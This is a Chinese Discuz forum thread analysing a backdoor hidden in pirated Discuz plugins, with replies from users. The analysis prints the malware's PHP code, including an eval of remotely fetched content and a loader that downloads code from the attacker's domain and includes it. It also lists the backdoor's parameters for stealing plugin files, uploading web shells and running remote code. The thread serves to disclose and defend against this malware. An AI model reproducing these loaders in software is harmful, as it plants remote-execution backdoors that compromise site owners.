久久久久av_欧美日韩一区二区在线_国产精品三区四区_日韩中字在线

12下一頁
返回列表 發帖
查看: 3448|回復: 16

您認為你的網站還很安全嗎?風靡全網的Discuz盜版插件后門木馬你了解過嗎?

37

主題

72

回帖

115

積分

漸入佳境

貢獻
0 點
金幣
2 個
樓主
發表于 2023-3-29 14:04:09 | 只看樓主 |只看大圖 |倒序瀏覽 |閱讀模式
在曝光這個后門木馬之前,我們考慮了很久要不要曝光,這個后門我們去年就已經發現了,而且第一時間公布到群里面!在群里的用戶可能很早都知道這個后門!
但是始終沒有曝光在網站內!原因是從這個后門的復雜程度來看,此人不簡單!我們不想惹!并不是我們怕!明著來我們不怕什么!
明槍易躲,暗箭難防!唯女子與小人為難養也!

正文開始:

這個后門樣本是最早發現在飛*房產(后門和插件作者無關,正版的無此后門)  后來我們又在用戶給我們提供的插件里面根據關鍵詞 發現很多都帶這個后門,
那么下面我們開始分析:本次樣本為 克*APP 3.51(后門和插件作者無關,正版的無此后門),因為距離第一次發現太久,那個樣本沒有了!
首先我們是在一個模板文件發現了異常(如圖)

  1. eval(dfsockopen($commen))
復制代碼

很明顯的一句話后門。但是整個文件就這一行代碼!沒有一句話應有的參數!而 $commen 這個變量也并未在這個文件賦值, 全文件找了下發下在下面這個文件有 $commen  變量的賦值
function_comiis_load.php


但是這個值經過了一系列“混淆”,我們一步步來撥開這個煙霧彈
  1. $title=dfsockopen($url);
復制代碼

這里有個遠程請求!那么我們把這個 $url 變量調試出來,先把代碼搬過來


調試得到 $url 的值為:
  1. ://94203.vip/20190305.png
復制代碼

這里已經是個正常的鏈接了,我們獲取這個文件的內容試試(也可以通過瀏覽器的下載功能直接下載這個圖片,然后通過記事本打開)


  1. moqu8ctrlabcctrl://ctrl.ctrl/ctrl[A-Z_].*[A-Z_]ctrlecho "990";ctrl./config.phpctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xmlctrl`.*?`ctrl6692ctrlhttpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xmlctrl./baiduin.phpctrltemplate/index.htmlctrlpic.png
復制代碼

繼續對這串不知道什么玩意的內容進行整理(直接搬后門的代碼過來取值就是)


得到內容
  1. http://94203.vip/baiduseofn.xmlCopy
復制代碼

繼續往下調試,發現緊跟的這幾段是讓代碼看起來像一個正常代碼,其實并無實際用途!都是一些賦值然后其實并不會調用,也許后面會用到先放這里不做分析
  1. list(,,, $tagid, $type,$page ) = func_get_args();
  2.     $rewriterules=$_G['cache']['plugin']['comiis_app'];
  3.         $identifier=substr($_GET['id'],0,strpos($_GET['id'], ':'))?substr($_GET['id'],0,strpos($_GET['id'], ':'));$_GET['id'];
  4.         $plugin['identifier']=$plugin['identifier']?$plugin['identifier'];$identifier;
復制代碼

緊隨其后的是,翻譯出來看看是判斷什么 然后調用了什么文件!


因為 $tag 前面已經取了這個的值,我們直接調用,打印出內容看看


得到一個數組


  1. Array
  2. (
  3.     [0] => moqu8
  4.     [1] => abc
  5.     [2] => ://
  6.     [3] => .
  7.     [4] => /
  8.     [5] => [A-Z_].*[A-Z_]
  9.     [6] => echo "990";
  10.     [7] => ./config.php
  11.     [8] => 6692
  12.     [9] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseofn`lpsck`xml
  13.     [10] => `.*?`
  14.     [11] => 6692
  15.     [12] => httpABc94203`akndecryptud^gjchdh`vipNULLB{NVJ:GJGbaiduseoff`lpsck`xml
  16.     [13] => ./baiduin.php
  17.     [14] => template/index.html
  18.     [15] => pic.png
  19. )
復制代碼

這樣就很容易翻譯那段代碼的意思得到結果為:
  1. if(@filesize('./config.php') != '6692'){ @include_once DISCUZ_ROOT.'./source/plugin/comiis_app/'.'template/index.html';}
復制代碼

這句話翻譯成大白話的意思就是  如果 ./config.php 文件的大小 不等于 6692 字節  則引用 template/index.html 這個文件 注意到了嗎? template/index.html 這個文件正式我們一開始發現端倪的文件
現在插件是第一次運行,./config.php文件是不存在的 所以大小肯定是不等于 6692 的,所以我們繼續調試!來到 template/index.html 這個文件
  1. eval(dfsockopen($commen))
復制代碼

這句代碼意思是 先讀取遠程鏈接返回的內容,然后執行! $commen  這個變量的值我們前面已經知道了 就是下面的內容 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內容)
  1. http://94203.vip/baiduseofn.xml
復制代碼

返回內容如下:

也就是說 即將執行的代碼就是這段代碼,復制下來 調試一波,順便美化一下,方便閱讀
  1. function content($svip)
  2. {
  3.     ini_set('max_execution_time', '0');
  4.     if (function_exists('file_get_contents')) {
  5.         $data = file_get_contents($svip);
  6.     } else {
  7.         $ch = curl_init();
  8.         $timeout = 5;
  9.         curl_setopt($ch, CURLOPT_URL, $svip);
  10.         curl_setopt($ch, CURLOPT_HEADER, 0);
  11.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  12.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  13.         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  14.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  15.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  16.         $data = curl_exec($ch);
  17.         curl_close($ch);
  18.     }
  19.     return $data;
  20. }
  21. $svip = preg_replace(array("/" . $tag[10] . "/", "/" . $tag[1] . "/i", "/" . $tag[5] . "/"), array($tag[3], $tag[2], $tag[4]), $tag[12]);
  22. if (content($svip)) {
  23.     file_put_contents($tag[13], content($svip));
  24.     require_once $tag[13];
  25. }
復制代碼

因為代碼中依然用到了 $tag 變量,所以我們繼續放之前的調試文件調試,我們先來 取  $svip 這個變量對應的值,得到一個鏈接
  1. http://94203.vip/baiduseoff.xml
復制代碼

之前我們已經打印了 $tag 的內容  可以得到  $tag[13] 的內容就是 ./baiduin.php
繼續放下調試 翻譯出來的大白話意思就是 如果遠程訪問 上面的 的鏈接 返回的內容不是空的 則寫入 返回的內容到文件 ../baiduin.php 并且馬上引用這個文件
既然又要引用新文件,那么我們就得看看這個文件的內容了 (我們可以通過瀏覽器訪問這個鏈接,然后右鍵查看源碼,得到這個文件所返回的內容) 其實這里和前面一個步驟很像,
你也可以理解成是一層殼!得到一個比較大的文件了(如圖),有種預感,馬上要正式進入后門的領域了,前面一系列操作其實都是煙霧彈

內容太長就不粘貼出來了 感興趣的可以下載下面的附件(代碼為了方便閱讀,美化過,其實你也可以訪問下面的鏈接得到這個文件樣本)
游客,如果您要查看本帖隱藏內容請回復


其實這個文件是進行了簡單加密的。我們給他解密!因為是比較簡單的加密,而且我們這次的重點不是講解加密與解密。下面直接上圖解密,就不講解了
得到解密后的文件



調試木馬

我們調試這個文件,因為我不是 在dz環境調試的,但是這個文件用到了dz自帶的幾個函數 我們copy過來在調試


調試前先把已知的數據講解下


如果文件./web.php 存在 就刪除這個文件,前面的代碼都是構造變量,在這句之前用不到


這里的 $identifier 是插件的 標識,代碼因為是在插件里面運行的,所以這個變量是dz賦值的$plugin['identifier'],比如我們現在的樣本是 comiis_app 那么這個值就是  'comiis_app' 繼續調試


這里開始引用了上面的幾個變量,我們把變量輸出看看分別是什么


得到這2個變量分別是
  1. ./config.php
  2. http://94203.vip/index.txt
復制代碼

其實從這里開始感覺分析這個后門已經花了很長時間了,有點累,寫的都比較隨意了!可能大家都開始看不懂了,還是保持開始的狀態繼續寫!分析起來其實很快,主要是要寫,就慢了。 得到這2個變量的值,我們翻譯下上面那段邏輯代碼
  1. 如果 (文件./config.php不存在 且 遠程請求http://94203.vip/index.txt的內容不是空) {

  2.     遠程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";

  3.     寫入文件(./config.php, 遠程訪問http://94203.vip/index.txt返回的內容);

  4. } 或者如果 (文件./config.php字節大小 不等于 6692 且 遠程請求http://94203.vip/index.txt的內容不是空) {

  5.     寫入文件(./config.php, 遠程訪問http://94203.vip/index.txt返回的內容);

  6. } 或者如果(文件"插件目錄/log.txt"不存在 且  插件不是csdn123_news和csdn123com_toutiao) {

  7.     遠程訪問("http://q.94203.vip/5r.php?u=你的域名&r=comiis_app";

  8.     寫入文件(插件目錄/log.txt, 空的內容);


  9. }
復制代碼

不知道這樣的代碼結構 對于不懂PHP的 能不能看懂,懂PHP的直接看源代碼就可以。繼續調試下面的代碼


首先輸出這個變量 $deindex
得到 這個變量的值為 ./index.bak.php,我們繼續用上面的方式翻譯上面的這段邏輯代碼
  1. 如果 (文件./index.bak.php存在) {
  2.     刪除文件./index.bak.php;
  3. }
  4. 如果 (文件/source/function/function_ajax.php大小 不等于 14798) {
  5.    如果(遠程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的不是空內容 ){
  6.         寫到文件/source/function/function_ajax.php 內容是 遠程訪問鏈接http://q.94203.vip/function_cloudaddons.xml返回的內容
  7.     }
  8. }
  9. 刪除文件./baiduin.php
復制代碼

到這里已經開始了 系統文件替換了,其實到這里基本上就結束了,看著是不是好像沒有什么大問題?只是替換了一個系統文件和寫了一個./config.php文件?
先別急著關閉頁面,因為下面才是重頭戲!我們繼續分析寫入的這2個文件 從 ./config.php 開始,這個文件寫入的是 http://94203.vip/index.txt 返回的內容 我們用瀏覽器打開 得到文件代碼如圖


去掉 用于混淆 讓人覺得是正常文件的內容 得到代碼


為什么那一段是沒用的?因為如果正常訪問 其實這就是dz自帶的 index.php文件復制過來的 后門控制者訪問時如果在鏈接后面加了 ?s=1 就會執行圖片上的代碼
翻譯出來的意思就是
  1. 執行代碼(  遠程請求 {域名}/baiduindex.xml 返回的內容 )
復制代碼

這里的域名 是通過GET參數獲取,也就是說 如果控制住域名忘記續費 根本沒有關系 比如 作者 通過這樣的形式訪問 你的域名/config.php?s=1&domain=94203.vip 就可以 那么/baiduindex.xml的內容是什么,因為是控制者在控制你網站時輸入的,所以從代碼上得不到這個文件!但是我們可以靠猜來試試,果然一猜就中,他用于木馬的域名就文中提到的1個。試了一下 就出來了
  1. 94203.vip/baiduindex.xml
復制代碼

得到內容(加密了,那就解密看看這個是個什么文件吧)


經過N層解密,得到文件


這里已經有獲取你網站安裝的插件操作的代碼的了!這個后門文件還有很多參數!等下我們繼續分析! 解密后的樣本和原版 在下面的附件 有興趣的可以研究下
游客,如果您要查看本帖隱藏內容請回復


下面繼續分析,這個木馬文件的所有參數(其實也累了,就不調試了,直接丟dz環境跑起來,然后把代碼有的參數一個個輸進去試) 忽然發現 404,原來作者還加了 指定瀏覽器功能,也就是說只有這個UA的瀏覽器才能訪問,我們刪除這段


木馬參數

參數1、  你的域名/config.php?s=1&domain=94203.vip&b=header&z=壓縮包名字 打包你網站 ./source/plugin  目錄  即打包插件目錄,然后下載,代碼見下面


參數2、  你的域名/config.php?s=2&domain=94203.vip 開頭涉及到一個插件 aljjyno 不知道干嘛用的,但是只知道有寫入文件的功能!也是遠程請求,但是這次我們通過前面方法猜域名,沒有猜出來!


緊隨的是 替換/config/config_global.php 網站配置文件(給你開啟開發者模式,這樣你安裝插件就不會自動刪除安裝包!不然作者每次打包走的都是沒有xml的插件估計也很難受) 接著就是鞏固一下后門


上面的代碼前面講過 就是判斷 ./config.php的大小是不是 6692 如果不是就重新生成,防止木馬被你清理或修改 然后 又鞏固了一下 /source/function/function_ajax.php 的地位 這個文件前面提到了,但是還沒有分析!等分析玩這個文件,我們繼續分析這個 在往下 就是 獲取你安裝了的插件,然后列出列表吧?如果弄了打包的參數 就開始打包下載
參數3、  你的域名/config.php?s=3&domain=94203.vip后面還要參數 不是很重要 這個就是 下載壓縮包用的,沒什么可以講解
參數4、  你的域名/config.php?s=4&domain=94203.vip 上傳文件到你網站任意位置的好像。


參數5、  你的域名/config.php?s=5&domain=94203.vip&do=1 作用:寫入文件


如果帶do參數 則寫入94203.vip/data.xml 的內容 瀏覽器訪問這個鏈接 得到的內容 是一個典型的PHP木馬。打包網站用的,導出數據庫啥的 如果沒有帶do參數 則寫入94203.vip/datatwo.xml 的內容 瀏覽器訪問這個鏈接 得到的內容 是一個文件在線管理功能。 2個樣本在下面壓縮包,感興趣的可以下載看看
游客,如果您要查看本帖隱藏內容請回復

參數6、  你的域名/config.php?s=6&domain=94203.vip 作用:執行遠程文件 94203.vip/ondata.xml


其實和 參數5的帶do參數功能一樣,可能是防止你服務器不能寫入文件時  直接用php執行用的。應該算是備用功能,感興趣的可以下載下面的附件研究
游客,如果您要查看本帖隱藏內容請回復

參數7、  你的域名/config.php?s=7&domain=94203.vip 作用:下載你網站非壓縮包文件(如直接下載PHP文件)


參數8、  你的域名/config.php?s=8&domain=94203.vip 作用:執行遠程代碼  94203.vip/tiquxml.xml
遠程鏈接返回內容如下
  1. @set_time_limit(0);
  2. @include_once './config/config_global.php';
復制代碼


從注釋看好像是提取XML的  到這里 這個文件的功能基本上分析完畢。你以為就這樣?

結尾

以上涉及到的代碼全部是遠程執行,
代碼后門作者可以隨時更改/更新/升級、等于是給你網站的后門免費提供了免費更新的功能 如果他給你來個全盤格式化的遠程代碼,你懵逼嗎?
如果他給你來個清空數據庫的代碼 你懵逼嗎?
分析到這里,我們回到前面提到的 /source/function/function_ajax.php文件 打開遠程獲取到的代碼 分析一波,已經不記得前面有沒有把這個文件的代碼貼出來了!
如果沒有,感興趣的同學就自己獲取一下!  因為這個文件是基于dz的系統文件修改的(注入),我們對比文件刪除dz原版代碼 得到如下代碼

也就是說上面的代碼是后門作者加進去的  其實這個文件也沒啥好分析的,
大概就是:這個文件因為dz需要經常調用,調用頻率非常的高  只要這個文件一被調用  就自動從遠程獲取內容94203.vip/index.xml 生成到文件/config.php  這個文件的代碼前面分析過。
大概想實現的目的就是防刪!如果你刪了,又會出來。就是你怎么刪也刪不掉/config.php這個文件,我給他定義為 “不死鳥”  基本上整個后門到這里就算分析完畢了!
其實目前來講這套木馬想查殺的話 有一套關鍵詞可以進行匹配!
但是我們這次目的是分析木馬!查殺的任務,還是得靠站長自己。
我們只能說這種木馬在全網傳播的很普遍!
從各個資源站到某寶等 都有這個木馬的影子!

回復

使用道具 舉報

頭像被屏蔽

37

主題

72

回帖

115

積分

漸入佳境

貢獻
0 點
金幣
2 個
沙發
 樓主| 發表于 2023-3-29 14:05:07 | 只看Ta
提示: 該帖被管理員或版主屏蔽
回復

使用道具 舉報

4

主題

969

回帖

24萬

積分

管理員

官方有償服務QQ 1453650

貢獻
174 點
金幣
240005 個
QQ
板凳
發表于 2023-3-29 14:25:54 | 只看Ta
某趣吧盜版插件含后門,這是眾所周知的,你回帖貼的鏈接的網站也不是好鳥,一樣的,會盜取你網站的應用
回復 0

使用道具 舉報

頭像被屏蔽

0

主題

109

回帖

115

積分

禁止發言

貢獻
0 點
金幣
5 個
地板
發表于 2023-3-29 23:31:55 | 只看Ta
提示: 作者被禁止或刪除 內容自動屏蔽
回復

使用道具 舉報

41

主題

821

回帖

1015

積分

已臻大成

貢獻
11 點
金幣
33 個
5#
發表于 2023-3-31 08:22:36 | 只看Ta
雖然不懂但我大為震撼
回復

使用道具 舉報

TaC

104

主題

616

回帖

766

積分

自成一派

貢獻
5 點
金幣
3 個
6#
發表于 2023-3-31 10:30:54 | 只看Ta
雖沒看懂,感覺好歷害。現在已沒有幾個人能有這種耐心寫這么東西了
回復

使用道具 舉報

4

主題

62

回帖

77

積分

漸入佳境

貢獻
0 點
金幣
9 個
7#
發表于 2023-4-1 12:16:39 | 只看Ta
我曾經遇到過,他還加我Q,要錢錢,我拉黑后,直接就把我的數據盤格了
回復

使用道具 舉報

8

主題

457

回帖

586

積分

應用開發者

貢獻
17 點
金幣
13 個
QQ
8#
發表于 2023-4-1 17:11:27 | 只看Ta
樓主功力深厚,佩服佩服
回復

使用道具 舉報

8

主題

457

回帖

586

積分

應用開發者

貢獻
17 點
金幣
13 個
QQ
9#
發表于 2023-4-1 17:12:05 | 只看Ta
gulaibai 發表于 2023-4-1 12:16
我曾經遇到過,他還加我Q,要錢錢,我拉黑后,直接就把我的數據盤格了 ...

把那個人的QQ暴出來,讓大家都防著他點。
回復

使用道具 舉報

60

主題

94

回帖

166

積分

漸入佳境

貢獻
0 點
金幣
5 個
10#
發表于 2023-4-1 17:41:23 | 只看Ta
雖沒看懂,感覺好震撼,那有沒有大佬寫個插件出來讓大伙查殺下,或許有些站長的站存在這個木馬后門也說不定。
回復

使用道具 舉報

您需要登錄后才可以回帖 登錄 | 立即注冊

本版積分規則

  • 關注公眾號
  • 有償服務微信
  • 有償服務QQ

手機版|小黑屋|Discuz! 官方交流社區 ( 皖ICP備16010102號 |皖公網安備34010302002376號 )|網站地圖|star

GMT+8, 2025-7-3 00:33 , Processed in 0.071209 second(s), 13 queries , Redis On.

Powered by Discuz! W1.0 Licensed

Cpoyright © 2001-2025 Discuz! Team.

關燈 在本版發帖
有償服務QQ
有償服務微信
返回頂部
快速回復 返回頂部 返回列表